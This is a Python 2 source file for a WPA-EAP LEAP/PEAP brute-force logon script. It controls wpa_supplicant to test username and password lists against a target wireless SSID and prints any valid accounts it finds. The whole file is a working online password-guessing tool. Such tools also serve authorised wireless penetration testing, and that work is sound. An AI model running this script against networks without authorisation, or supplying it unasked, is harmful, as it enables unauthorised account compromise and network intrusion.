#!/usr/bin/env python '''WPA-EAP LEAP/PEAP Brute Force Logon Script''' __author__ = 'JoMo-Kun ' __copyright__ = '(c) 2010 JoMo-Kun ' __license__ = 'GPLv2' __version__ = '0.1' import os import sys import time import wpactrl import re from optparse import OptionParser def options_list(): parser = OptionParser(usage="usage: %prog [-s SSID] [-u username|-U file] [-p password|-P file] [-c file] [-n] [-s] [-l]", version="%prog " + __version__) parser.add_option("-s", "", dest="ssid", action="store", help="SSID\n") parser.add_option("-c", "", dest="combofile", action="store", help="Account credential file (user:pass)\n") parser.add_option("-u", "", dest="username", action="store", help="Target username\n") parser.add_option("-U", "", dest="userfile", action="store", help="Target username file\n") parser.add_option("-p", "", dest="password", action="store", help="Target password\n") parser.add_option("-P", "", dest="passfile", action="store", help="Target password file\n") parser.add_option("-n", "", dest="nopass", action="store_true", help="Test blank password\n") parser.add_option("-e", "", dest="userpass", action="store_true", help="Test password matching username\n") parser.add_option('-l', "", dest="leap", action="store_true", help="Enable LEAP (default PEAP)") (options, args) = parser.parse_args() run = '/var/run/wpa_supplicant' if not bool(options.ssid): print "Target SSID must be specified." sys.exit(1) if bool(options.combofile): if bool(options.username) | bool(options.userfile): print "Combo option cannot be combined with username options" sys.exit(1) else: if bool(options.username) & bool(options.userfile): print "Username options (-u/-U) are mutually exclusive." sys.exit(1) elif not (bool(options.username) | bool(options.userfile)): print "One of the following options is requied: -c/-u/-U." sys.exit(1) elif not (bool(options.password) | bool(options.passfile) | bool(options.nopass) | bool(options.userpass)): print "Password option (i.e. -p/-P/-n/-s) must be specified with username options" sys.exit(1) return (run, options) def check_account(wpa, wpa_event, id, username, password): print ">>> Testing username: " + username + " password: " + password wpa.request('SET_NETWORK ' + id + ' identity "' + username + '"') wpa.request('SET_NETWORK ' + id + ' password "' + password + '"') wpa.request('ENABLE_NETWORK ' + id) wpa.request('LOGON') print '>>> Waiting for logon response ...' while True: results = wpa_event.recv() print "* " + results if re.search("EAP-MSCHAPV2: failure message: 'FAILED'", results): logon_valid = False break if re.search("CTRL-EVENT-EAP-FAILURE EAP authentication failed", results): logon_valid = False break elif re.search("EAP-MSCHAPV2: Authentication succeeded", results): logon_valid = True break elif re.search("EAP-SUCCESS EAP authentication completed successfully", results): logon_valid = True break elif re.search("completed \(reauth\)", results): print '>>> wpa_supplicant re-authenticated using existing key. The current credentials may not be valid.' logon_valid = True break print '\033[93m>>> Result of logon attempt: ', username, '/', password, ' --> ', logon_valid, '\033[0m' time.sleep(2) wpa.request('LOGOFF') time.sleep(2) return logon_valid def main(): (run, options) = options_list() print '>>> wpactrl version %d.%d.%d ...' % wpactrl.version() # http://w1.fi/wpa_supplicant/devel/ctrl_iface_page.html sockets = [] if os.path.isdir(run): try: sockets = [os.path.join(run, i) for i in os.listdir(run)] except OSError, error: print 'Error:', error sys.exit(1) if len(sockets) < 1: print 'No wpa_ctrl sockets found in %s, aborting.' % run sys.exit(1) for s in sockets: try: print '>>> Open a ctrl_iface connection' print '>>> wpa = wpactrl.WPACtrl("%s")' % s wpa = wpactrl.WPACtrl(s) print '>>> Open a new ctrl_iface connection for receiving event messages' print '>>> wpa_event = wpactrl.WPACtrl("%s")' % s wpa_event = wpactrl.WPACtrl(s) wpa_event.attach() print '>>> Check current setup' wpa.request('LOGOFF') wpa.request('STATUS VERBOSE') wpa.request('LIST_NETWORKS') print '>>> Configure target network' id = wpa.request("ADD_NETWORK").rstrip('\n') wpa.request('SELECT_NETWORK ' + id) wpa.request('SET_NETWORK ' + id + ' ssid "' + str(options.ssid) + '"') if bool(options.leap): wpa.request('SET_NETWORK ' + id + ' key_mgmt IEEE8021X') wpa.request('SET_NETWORK ' + id + ' eap LEAP') else: wpa.request('SET_NETWORK ' + id + ' proto RSN') wpa.request('SET_NETWORK ' + id + ' key_mgmt WPA-EAP') wpa.request('SET_NETWORK ' + id + ' pairwise CCMP TKIP') wpa.request('SET_NETWORK ' + id + ' eap PEAP') if bool(options.combofile): try: f = open(options.combofile, 'r') credentials = f.readlines() for x in credentials: username, password = x.split(':') password = password.rstrip('\n') if check_account(wpa, wpa_event, id, username, password): print '\033[94m>>> Found valid account: ' + username + '/' + password + '\033[0m' break except IOError: print "Error: Cannot read %s.\n" %(options.combofile,) sys.exit(1) else: if bool(options.userfile): try: f = open(options.userfile, 'r') usernames = f.readlines() except IOError: print "Error: Cannot read %s.\n" %(options.userfile,) sys.exit(1) else: usernames = [options.username] done = False for username in usernames: username = username.rstrip('\n') if bool(options.nopass): if check_account(wpa, wpa_event, id, username, ""): print '\033[94m>>> Found valid account: ' + username + '/' + password + '\033[0m' break if bool(options.userpass): if check_account(wpa, wpa_event, id, username, username): print '\033[94m>>> Found valid account: ' + username + '/' + username + '\033[0m' break if (bool(options.passfile) | bool(options.password)): passwords = [] if bool(options.passfile): try: f = open(options.passfile, 'r') passwords = f.readlines() except IOError: print "Error: Cannot read %s.\n" %(options.passfile,) sys.exit(1) if bool(options.password): passwords.insert(0, options.password) for password in passwords: password = password.rstrip('\n') if check_account(wpa, wpa_event, id, username, password): print '\033[94m>>> Found valid account: ' + username + '/' + password + '\033[0m' done = True break if done: break wpa.request('REMOVE_NETWORK ' + id) wpa_event.detach() print '>>> # Finished!' except wpactrl.error, error: print 'Error:', error pass if __name__ == "__main__": main() sys.exit(0)